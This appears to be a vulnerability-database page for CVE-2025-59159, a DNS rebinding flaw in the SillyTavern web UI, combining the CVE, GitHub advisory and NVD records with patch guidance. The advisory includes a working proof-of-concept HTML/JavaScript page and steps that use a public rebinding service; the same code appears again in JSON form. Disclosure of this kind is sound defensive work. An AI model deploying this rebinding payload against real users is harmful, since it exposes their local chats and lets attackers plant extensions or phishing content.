cvelistv5 - CVE-2025-59159

CVE-2025-59159 (GCVE-0-2025-59159)

Vulnerability from cvelistv5 – Published: 2025-10-06 15:31 – Updated: 2025-10-06 15:54

Summary

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.

Severity ?

9.7 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-346 - Origin Validation Error
CWE-940 - Improper Verification of Source of a Communication Channel

Assigner

GitHub_M

References

URL

Tags

	https://github.com/SillyTavern/SillyTavern/securi…	x_refsource_CONFIRM
	https://github.com/SillyTavern/SillyTavern/commit…	x_refsource_MISC
	https://docs.sillytavern.app/administration/#secu…	x_refsource_MISC
	https://docs.sillytavern.app/administration/confi…	x_refsource_MISC
	https://github.com/SillyTavern/SillyTavern/releas…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	SillyTavern	SillyTavern	Affected: < 1.13.4

Show details on NVD website

JSON

To clipboard

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GHSA-7CXJ-W27X-X78Q

Vulnerability from github – Published: 2025-10-06 20:18 – Updated: 2025-10-06 20:18

Summary

SillyTavern Web Interface Vulnerable DNS Rebinding

Details

Summary

The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.

Details

DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.

PoC

Host the PoC HTML file on a /rebind.html endpoint (or any other endpoint) on a web server on port 8000
Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
Replace the URL in the HTML with the returned URL on the site
Go to http://[URL]:8000/rebind.html in firefox or on any mobile browser if you're using termux
Check the developer tools console. It should return all of the data

Here is the PoC code:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
  while (true) {
    try {
      let res = await fetch("http://[DOMAIN HERE]:8000/");
      let text = await res.text();

      if (text.includes("Directory listing for /")) {
        console.log("Still attacker server, retrying...");
        await new Promise(r => setTimeout(r, 2000));
        continue;  // don't break yet
      }

      console.log("GOT VICTIM RESPONSE!");
      console.log(text.substring(0, 300));
      break;

    } catch (e) {
      console.log("Fetch failed, retrying...", e);
      await new Promise(r => setTimeout(r, 2000));
    }
  }
}
tryRebind();
</script>
</body>
</html>

Impact

Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.

Resolution

A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.

While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.

Resources

https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320

Severity ?

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-940"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-06T20:18:55Z",
    "nvd_published_at": "2025-10-06T16:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site\u0027s DNS address. This allows anybody to get remote access to anyone\u0027s SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you\u0027re using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"utf-8\"\u003e\n  \u003ctitle\u003eRebind Payload\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nasync function tryRebind() {\n  while (true) {\n    try {\n      let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n      let text = await res.text();\n\n      if (text.includes(\"Directory listing for /\")) {\n        console.log(\"Still attacker server, retrying...\");\n        await new Promise(r =\u003e setTimeout(r, 2000));\n        continue;  // don\u0027t break yet\n      }\n\n      console.log(\"GOT VICTIM RESPONSE!\");\n      console.log(text.substring(0, 300));\n      break;\n\n    } catch (e) {\n      console.log(\"Fetch failed, retrying...\", e);\n      await new Promise(r =\u003e setTimeout(r, 2000));\n    }\n  }\n}\ntryRebind();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users\u0027 SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320",
  "id": "GHSA-7cxj-w27x-x78q",
  "modified": "2025-10-06T20:18:55Z",
  "published": "2025-10-06T20:18:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320"
    },
    {
      "type": "WEB",
      "url": "https://docs.sillytavern.app/administration/#security-checklist"
    },
    {
      "type": "WEB",
      "url": "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern Web Interface Vulnerable DNS Rebinding"
}

FKIE_CVE-2025-59159

Vulnerability from fkie_nvd - Published: 2025-10-06 16:15 - Updated: 2025-10-08 19:38

Severity ?

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://docs.sillytavern.app/administration/#security-checklist
	security-advisories@github.com	https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting
	security-advisories@github.com	https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
	security-advisories@github.com	https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4
	security-advisories@github.com	https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL."
    }
  ],
  "id": "CVE-2025-59159",
  "lastModified": "2025-10-08T19:38:32.610",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-10-06T16:15:34.377",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://docs.sillytavern.app/administration/#security-checklist"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        },
        {
          "lang": "en",
          "value": "CWE-940"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-59159 (GCVE-0-2025-59159)

GHSA-7CXJ-W27X-X78Q

Summary

Details

PoC

Impact

Resolution

Resources

FKIE_CVE-2025-59159

Tags

Sightings

Nomenclature